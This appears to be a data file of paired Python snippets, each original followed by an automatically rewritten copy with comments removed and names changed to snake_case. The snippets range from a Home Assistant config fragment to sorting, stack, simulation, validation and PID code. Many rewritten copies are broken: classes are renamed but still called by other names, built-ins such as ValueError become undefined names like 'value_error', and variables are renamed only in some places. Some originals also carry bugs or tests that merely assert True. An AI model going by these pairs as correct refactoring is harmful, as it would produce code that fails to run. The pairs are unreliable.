'media_player.bedroom', 'volume_level': 0.2}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'join', 'service_data': {'master': 'media_player.bedroom', 'entity_id': 'media_player.bathroom'}}], 'Reset': [{'type': 'call_service', 'domain': 'switch', 'service': 'turn_off', 'service_data': {'entity_id': 'switch.31485653bcddc23a2807'}}], 'Preset1': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '30 Minutes'}}], 'Preset2': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '60 Minutes'}}], 'Preset3': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '90 Minutes'}}], 'Preset4': [{'type': 'call_service', 'domain': 'input_select', 'service': 'select_option', 'service_data': {'entity_id': 'input_select.masterbedroom_fireplace_duration', 'option': '120 Minutes'}}], 'On': [{'type': 'call_service', 'domain': 'media_player', 'service': 'select_source', 'service_data': {'entity_id': 'media_player.bedroom', 'source': 'TV'}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_set', 'service_data': {'entity_id': 'media_player.bedroom', 'volume_level': 0.25}}, {'type': 'call_service', 'domain': 'media_player', 'service': 'volume_mute', 'service_data': {'entity_id': 'media_player.bedroom', 'is_volume_muted': False}}, {'type': 'call_service', 'domain': 'sonos', 'service': 'join', 'service_data': {'master': 'media_player.bedroom', 'entity_id': 'media_player.bathroom'}}]}}
def add(x, y): return x + y def subtract(x, y): return x - y def inc(x): return x + 1 def test_add(): assert add(1, 2) == 3 def test_subtract(): assert subtract(2, 1) == 1 def test_inc(): assert inc(1) == 2
def add(x, y): return x + y def subtract(x, y): return x - y def inc(x): return x + 1 def test_add(): assert add(1, 2) == 3 def test_subtract(): assert subtract(2, 1) == 1 def test_inc(): assert inc(1) == 2
class lrd: def __init__(self, waiting_time, start_lr, min_lr, factor): self.waiting_time = waiting_time self.start_lr = start_lr self.min_lr = min_lr self.factor = factor self.min_value = 10000000000000000000 self.waited = 0 self.actual_lr = self.start_lr self.stop = False def set_new_lr(self, new_value): if new_value < self.min_value: self.waited = 0 self.min_value = new_value return self.actual_lr self.waited += 1 if self.waited > self.waiting_time: self.actual_lr /= self.factor self.waited = 0 if self.actual_lr < self.min_lr: self.stop = True return self.actual_lr
class Lrd: def __init__(self, waiting_time, start_lr, min_lr, factor): self.waiting_time = waiting_time self.start_lr = start_lr self.min_lr = min_lr self.factor = factor self.min_value = 10000000000000000000 self.waited = 0 self.actual_lr = self.start_lr self.stop = False def set_new_lr(self, new_value): if new_value < self.min_value: self.waited = 0 self.min_value = new_value return self.actual_lr self.waited += 1 if self.waited > self.waiting_time: self.actual_lr /= self.factor self.waited = 0 if self.actual_lr < self.min_lr: self.stop = True return self.actual_lr
#!/usr/bin/env python3 def check_palindrome(num): num = str(num) for i in range(0, int((len(num) + 1) / 2)): if num[i] != num[-i]: return False return True def simple_palindrome(num): num = str(num) return num == num[::-1] biggest = 0 for i in range(100, 999): for j in range(100, 999): temp = i * j if temp > biggest: if simple_palindrome(temp): biggest = temp print(biggest)
def check_palindrome(num): num = str(num) for i in range(0, int((len(num) + 1) / 2)): if num[i] != num[-i]: return False return True def simple_palindrome(num): num = str(num) return num == num[::-1] biggest = 0 for i in range(100, 999): for j in range(100, 999): temp = i * j if temp > biggest: if simple_palindrome(temp): biggest = temp print(biggest)
def consume_rec(xs, fn, n=0): if n <= 0: fn(xs) else: for x in xs: consume_rec(x, fn, n=n - 1)
def consume_rec(xs, fn, n=0): if n <= 0: fn(xs) else: for x in xs: consume_rec(x, fn, n=n - 1)
# Load the double pendulum from Universal Robot Description Format #tree = RigidBodyTree(FindResource("double_pendulum/double_pendulum.urdf"), FloatingBaseType.kFixed) #tree = RigidBodyTree(FindResource("../../notebooks/three_link.urdf"), FloatingBaseType.kFixed) #tree = RigidBodyTree(FindResource("../../drake/examples/compass_gait/CompassGait.urdf"), FloatingBaseType.kFixed) tree = RigidBodyTree(FindResource("../../notebooks/three_link.urdf"), FloatingBaseType.kFixed) box_depth = 100 pi = math.pi R = np.identity(3) slope = 0 R[0, 0] = math.cos(slope) R[0, 2] = math.sin(slope) R[2, 0] = -math.sin(slope) R[2, 2] = math.cos(slope) X = Isometry3(rotation=R, translation=[0, 0, -5.]) color = np.array([0.9297, 0.7930, 0.6758, 1]) tree.world().AddVisualElement(VisualElement(Box([100., 1., 10.]), X, color)) tree.addCollisionElement(CollisionElement(Box([100., 1., 10.]), X), tree.world(), "the_ground") tree.compile() # Set up a block diagram with the robot (dynamics) and a visualization block. builder = DiagramBuilder() robot = builder.AddSystem(RigidBodyPlant(tree)) logger = builder.AddSystem(SignalLogger(robot.get_output_port(0).size())) logger._DeclarePeriodicPublish(1. / 30., 0.0) builder.Connect(robot.get_output_port(0), logger.get_input_port(0)) builder.ExportInput(robot.get_input_port(0)) #this allows the outside world to see push inputs in (or whatever) diagram = builder.Build() # Set up a simulator to run this diagram simulator = Simulator(diagram) #simulator.set_target_realtime_rate(1.0) simulator.set_publish_every_time_step(False) # Set the initial conditions context = simulator.get_mutable_context() context.FixInputPort(0, BasicVector([0., 0.])) # Zero input torques state = context.get_mutable_continuous_state_vector() state.SetFromVector((pi + pi/8, pi/2 + pi/4 ,3*pi/2,0.,0.,0,)) # initial condition # Simulate for 10 seconds simulator.StepTo(3) prbv = PlanarRigidBodyVisualizer(tree, xlim=[-2.5, 2.5], ylim=[-5, 2.5]) ani = prbv.animate(logger, repeat=True) #plt.close(prbv.fig) HTML(ani.to_html5_video())
tree = rigid_body_tree(find_resource('../../notebooks/three_link.urdf'), FloatingBaseType.kFixed) box_depth = 100 pi = math.pi r = np.identity(3) slope = 0 R[0, 0] = math.cos(slope) R[0, 2] = math.sin(slope) R[2, 0] = -math.sin(slope) R[2, 2] = math.cos(slope) x = isometry3(rotation=R, translation=[0, 0, -5.0]) color = np.array([0.9297, 0.793, 0.6758, 1]) tree.world().AddVisualElement(visual_element(box([100.0, 1.0, 10.0]), X, color)) tree.addCollisionElement(collision_element(box([100.0, 1.0, 10.0]), X), tree.world(), 'the_ground') tree.compile() builder = diagram_builder() robot = builder.AddSystem(rigid_body_plant(tree)) logger = builder.AddSystem(signal_logger(robot.get_output_port(0).size())) logger._DeclarePeriodicPublish(1.0 / 30.0, 0.0) builder.Connect(robot.get_output_port(0), logger.get_input_port(0)) builder.ExportInput(robot.get_input_port(0)) diagram = builder.Build() simulator = simulator(diagram) simulator.set_publish_every_time_step(False) context = simulator.get_mutable_context() context.FixInputPort(0, basic_vector([0.0, 0.0])) state = context.get_mutable_continuous_state_vector() state.SetFromVector((pi + pi / 8, pi / 2 + pi / 4, 3 * pi / 2, 0.0, 0.0, 0)) simulator.StepTo(3) prbv = planar_rigid_body_visualizer(tree, xlim=[-2.5, 2.5], ylim=[-5, 2.5]) ani = prbv.animate(logger, repeat=True) html(ani.to_html5_video())
def info_file_parser(filename, verbose=False): results = {} infile = open(filename,'r') for iline, line in enumerate(infile): if line[0]=='#': continue lines = line.split() if len(lines)<2 : continue if lines[0][0]=='#': continue infotype = lines[0] infotype=infotype.replace(':','') info = lines[1] results[infotype]=info return results
def info_file_parser(filename, verbose=False): results = {} infile = open(filename, 'r') for (iline, line) in enumerate(infile): if line[0] == '#': continue lines = line.split() if len(lines) < 2: continue if lines[0][0] == '#': continue infotype = lines[0] infotype = infotype.replace(':', '') info = lines[1] results[infotype] = info return results
class Country(): def __init__(self, name='Unspecified', population=None, size_kmsq=None): #keyword argument. self.name = name self.population = population self.size_kmsq = size_kmsq def __str__(self): return self.name if __name__ == '__main__': usa = Country(name='United States of America', size_kmsq=9.8e6) print(usa.__dict__) #Dictionary output of usa object. chad = Country(name = 'chad') print(chad) chad = Country(name = 'algeria') print(chad)
class Country: def __init__(self, name='Unspecified', population=None, size_kmsq=None): self.name = name self.population = population self.size_kmsq = size_kmsq def __str__(self): return self.name if __name__ == '__main__': usa = country(name='United States of America', size_kmsq=9800000.0) print(usa.__dict__) chad = country(name='chad') print(chad) chad = country(name='algeria') print(chad)
def test_owner_register_success(): assert True def test_owner_register_failure(): assert True def test_worker_register_success(): assert True def test_worker_register_failure(): assert True def test_login_success(): assert True def test_login_failure(): assert True
def test_owner_register_success(): assert True def test_owner_register_failure(): assert True def test_worker_register_success(): assert True def test_worker_register_failure(): assert True def test_login_success(): assert True def test_login_failure(): assert True
class MoveTurn(object): def __init__(self): self.end = False self.again = False self.move = None if __name__ == "__main__": Print('This class has been checked and works as expected.')
class Moveturn(object): def __init__(self): self.end = False self.again = False self.move = None if __name__ == '__main__': print('This class has been checked and works as expected.')
# # Created on Fri Apr 10 2020 # # Title: Leetcode - Min Stack # # Author: Vatsal Mistry # Web: mistryvatsal.github.io # class MinStack: def __init__(self): # Creating 2 stacks, stack : original data; currMinimum : to hold current minimum upon each push self.stack = list() self.currMinimum = list() def push(self, x: int) -> None: if len(self.stack) == 0 and len(self.currMinimum) == 0: self.stack.append(x) self.currMinimum.append(x) else: self.currMinimum.append(min(x, self.currMinimum[len(self.currMinimum) - 1])) self.stack.append(x) def pop(self) -> None: if not len(self.stack) == 0: self.stack.pop() self.currMinimum.pop() def top(self) -> int: if not len(self.stack) == 0: return self.stack[len(self.stack) - 1] def getMin(self) -> int: if not len(self.currMinimum) == 0: return self.currMinimum[len(self.currMinimum) - 1] # Your MinStack object will be instantiated and called as such: # obj = MinStack() # obj.push(x) # obj.pop() # param_3 = obj.top() # param_4 = obj.getMin()
class Minstack: def __init__(self): self.stack = list() self.currMinimum = list() def push(self, x: int) -> None: if len(self.stack) == 0 and len(self.currMinimum) == 0: self.stack.append(x) self.currMinimum.append(x) else: self.currMinimum.append(min(x, self.currMinimum[len(self.currMinimum) - 1])) self.stack.append(x) def pop(self) -> None: if not len(self.stack) == 0: self.stack.pop() self.currMinimum.pop() def top(self) -> int: if not len(self.stack) == 0: return self.stack[len(self.stack) - 1] def get_min(self) -> int: if not len(self.currMinimum) == 0: return self.currMinimum[len(self.currMinimum) - 1]
def insertionSort(aList): first = 0 last = len(aList)-1 for CurrentPointer in range(first+1, last+1): CurrentValue = aList[CurrentPointer] Pointer = CurrentPointer - 1 while aList[Pointer] > CurrentValue and Pointer >= 0: aList[Pointer+1] = aList[Pointer] Pointer -= 1 aList[Pointer+1] = CurrentValue
def insertion_sort(aList): first = 0 last = len(aList) - 1 for current_pointer in range(first + 1, last + 1): current_value = aList[CurrentPointer] pointer = CurrentPointer - 1 while aList[Pointer] > CurrentValue and Pointer >= 0: aList[Pointer + 1] = aList[Pointer] pointer -= 1 aList[Pointer + 1] = CurrentValue
# 8.10) Implement a function to fill a matrix with a new color given a point and the matrix def paint_fill(matrix, y, x, new_color): # print(x, y) len_x = len(matrix[0]) - 1 len_y = len(matrix[0][0]) - 1 if y < 0 or y > len_y or x < 0 or x > len_x: return if matrix[y][x] == new_color: return # set new color matrix[y][x] = new_color # call all adjacent points paint_fill(matrix, y - 1, x, new_color) paint_fill(matrix, y + 1, x, new_color) paint_fill(matrix, y, x + 1, new_color) paint_fill(matrix, y, x - 1, new_color) #test code w, h = 8, 5 Matrix = [['#fff' for x in range(w)] for y in range(h)] paint_fill(Matrix, 2, 3, '#xoxo') print(Matrix)
def paint_fill(matrix, y, x, new_color): len_x = len(matrix[0]) - 1 len_y = len(matrix[0][0]) - 1 if y < 0 or y > len_y or x < 0 or (x > len_x): return if matrix[y][x] == new_color: return matrix[y][x] = new_color paint_fill(matrix, y - 1, x, new_color) paint_fill(matrix, y + 1, x, new_color) paint_fill(matrix, y, x + 1, new_color) paint_fill(matrix, y, x - 1, new_color) (w, h) = (8, 5) matrix = [['#fff' for x in range(w)] for y in range(h)] paint_fill(Matrix, 2, 3, '#xoxo') print(Matrix)
fname = 'mydata.txt' with open(fname, 'r') as md: for line in md: print(line) # continue on with other code fname = 'mydata2.txt' with open(fname, 'w') as wr: for i in range (20): wr.write(str(i) + '\n')
fname = 'mydata.txt' with open(fname, 'r') as md: for line in md: print(line) fname = 'mydata2.txt' with open(fname, 'w') as wr: for i in range(20): wr.write(str(i) + '\n')
class DeviceSwitch(object): def __init__(self, device_data): self.__device_data = device_data def switch(self, key, value): switcher = { "identifier": self.__identifier, "language": self.__language, "timezone": self.__timezone, "game_version": self.__game_version, "device_model": self.__device_model, "device_os": self.__device_os, "ad_id": self.__ad_id, "sdk": self.__sdk, "session_count": self.__session_count, "tags": self.__tags, "amount_spent": self.__amount_spent, "created_at": self.__created_at, "playtime": self.__playtime, "badge_count": self.__badge_count, "last_active": self.__last_active, # WARNING: Be carefull with this one "notification_type": self.__notification_types, # For testing only "test_type": self.__test_type, "long": self.__long, "lat": self.__lat, "country": self.__country } # Get the function from switcher dictionary func = switcher.get(key, lambda: "Invalid argument") # Execute the function return func(value) # val: String @staticmethod def __identifier(val): if isinstance(val, basestring): return val else: raise ValueError('Identifier value must be a string') # val: String @staticmethod def __language(val): if isinstance(val, basestring): return val else: raise ValueError('Language value must be a string') # val: int @staticmethod def __timezone(val): if type(val) is int: return val else: raise ValueError('Timezone value must be an integer') # val: String @staticmethod def __game_version(val): if isinstance(val, basestring): return val else: raise ValueError('Game version value must be a string') # val: String @staticmethod def __device_model(val): if isinstance(val, basestring): return val else: raise ValueError('Device model value must be a string') # val: String @staticmethod def __device_os(val): if isinstance(val, basestring): return val else: raise ValueError('Device OS value must be a string') # val: String @staticmethod def __ad_id(val): if isinstance(val, basestring): return val else: raise ValueError('Ad ID value must be a string') # val: String @staticmethod def __sdk(val): if isinstance(val, basestring): return val else: raise ValueError('SDK value must be a string') # val: int @staticmethod def __session_count(val): if type(val) is int: return val else: raise ValueError('Session Count value must be an integer') # val: Dictionary {} def __tags(self, val): if isinstance(val, dict): temp_tags = self.__device_data['tags'] for key_data, val_data in val.iteritems(): # updating and creating the tags temp_tags[key_data] = val_data return temp_tags else: raise ValueError('Tags val must be a dictionary') # val: String @staticmethod def __amount_spent(val): if isinstance(val, basestring): return val else: raise ValueError('Amount spent value must be a string') # val: int @staticmethod def __created_at(val): if type(val) is int: return val else: raise ValueError('Created At value must be an integer') # val: int @staticmethod def __playtime(val): if type(val) is int: return val else: raise ValueError('Playtime value must be an integer') # val: int @staticmethod def __badge_count(val): if type(val) is int: return val else: raise ValueError('Badge Count value must be an integer') # val: int @staticmethod def __last_active(val): if type(val) is int: return val else: raise ValueError('Last Active value must be an integer') # val: int @staticmethod def __notification_types(val): if type(val) is int: return val else: raise ValueError('Notification Types value must be an integer') # val: int @staticmethod def __test_type(val): if type(val) is int: return val else: raise ValueError('Test Type value must be an integer') # val: float @staticmethod def __long(val): if type(val) is float: return val else: raise ValueError('Long must be float') # val: float @staticmethod def __lat(val): if type(val) is float: return val else: raise ValueError('Lat must be float') # val: String @staticmethod def __country(val): if isinstance(val, basestring): return val else: raise ValueError('Country value must be a string')
class Deviceswitch(object): def __init__(self, device_data): self.__device_data = device_data def switch(self, key, value): switcher = {'identifier': self.__identifier, 'language': self.__language, 'timezone': self.__timezone, 'game_version': self.__game_version, 'device_model': self.__device_model, 'device_os': self.__device_os, 'ad_id': self.__ad_id, 'sdk': self.__sdk, 'session_count': self.__session_count, 'tags': self.__tags, 'amount_spent': self.__amount_spent, 'created_at': self.__created_at, 'playtime': self.__playtime, 'badge_count': self.__badge_count, 'last_active': self.__last_active, 'notification_type': self.__notification_types, 'test_type': self.__test_type, 'long': self.__long, 'lat': self.__lat, 'country': self.__country} func = switcher.get(key, lambda : 'Invalid argument') return func(value) @staticmethod def __identifier(val): if isinstance(val, basestring): return val else: raise value_error('Identifier value must be a string') @staticmethod def __language(val): if isinstance(val, basestring): return val else: raise value_error('Language value must be a string') @staticmethod def __timezone(val): if type(val) is int: return val else: raise value_error('Timezone value must be an integer') @staticmethod def __game_version(val): if isinstance(val, basestring): return val else: raise value_error('Game version value must be a string') @staticmethod def __device_model(val): if isinstance(val, basestring): return val else: raise value_error('Device model value must be a string') @staticmethod def __device_os(val): if isinstance(val, basestring): return val else: raise value_error('Device OS value must be a string') @staticmethod def __ad_id(val): if isinstance(val, basestring): return val else: raise value_error('Ad ID value must be a string') @staticmethod def __sdk(val): if isinstance(val, basestring): return val else: raise value_error('SDK value must be a string') @staticmethod def __session_count(val): if type(val) is int: return val else: raise value_error('Session Count value must be an integer') def __tags(self, val): if isinstance(val, dict): temp_tags = self.__device_data['tags'] for (key_data, val_data) in val.iteritems(): temp_tags[key_data] = val_data return temp_tags else: raise value_error('Tags val must be a dictionary') @staticmethod def __amount_spent(val): if isinstance(val, basestring): return val else: raise value_error('Amount spent value must be a string') @staticmethod def __created_at(val): if type(val) is int: return val else: raise value_error('Created At value must be an integer') @staticmethod def __playtime(val): if type(val) is int: return val else: raise value_error('Playtime value must be an integer') @staticmethod def __badge_count(val): if type(val) is int: return val else: raise value_error('Badge Count value must be an integer') @staticmethod def __last_active(val): if type(val) is int: return val else: raise value_error('Last Active value must be an integer') @staticmethod def __notification_types(val): if type(val) is int: return val else: raise value_error('Notification Types value must be an integer') @staticmethod def __test_type(val): if type(val) is int: return val else: raise value_error('Test Type value must be an integer') @staticmethod def __long(val): if type(val) is float: return val else: raise value_error('Long must be float') @staticmethod def __lat(val): if type(val) is float: return val else: raise value_error('Lat must be float') @staticmethod def __country(val): if isinstance(val, basestring): return val else: raise value_error('Country value must be a string')
class PID(object): def __init__(self, kp, ki, kd): self.kp = kp self.ki = ki self.kd = kd self.error_int = 0 self.error_prev = None def control(self, error): self.error_int += error if self.error_prev is None: self.error_prev = error error_deriv = error - self.error_prev self.error_prev = error return self.kp*error + self.ki*self.error_int + self.kd*error_deriv def reset(self): self.error_prev = None self.error_int = 0
class Pid(object): def __init__(self, kp, ki, kd): self.kp = kp self.ki = ki self.kd = kd self.error_int = 0 self.error_prev = None def control(self, error): self.error_int += error if self.error_prev is None: self.error_prev = error error_deriv = error - self.error_prev self.error_prev = error return self.kp * error + self.ki * self.error_int + self.kd * error_deriv def reset(self): self.error_prev = None self.error_int = 0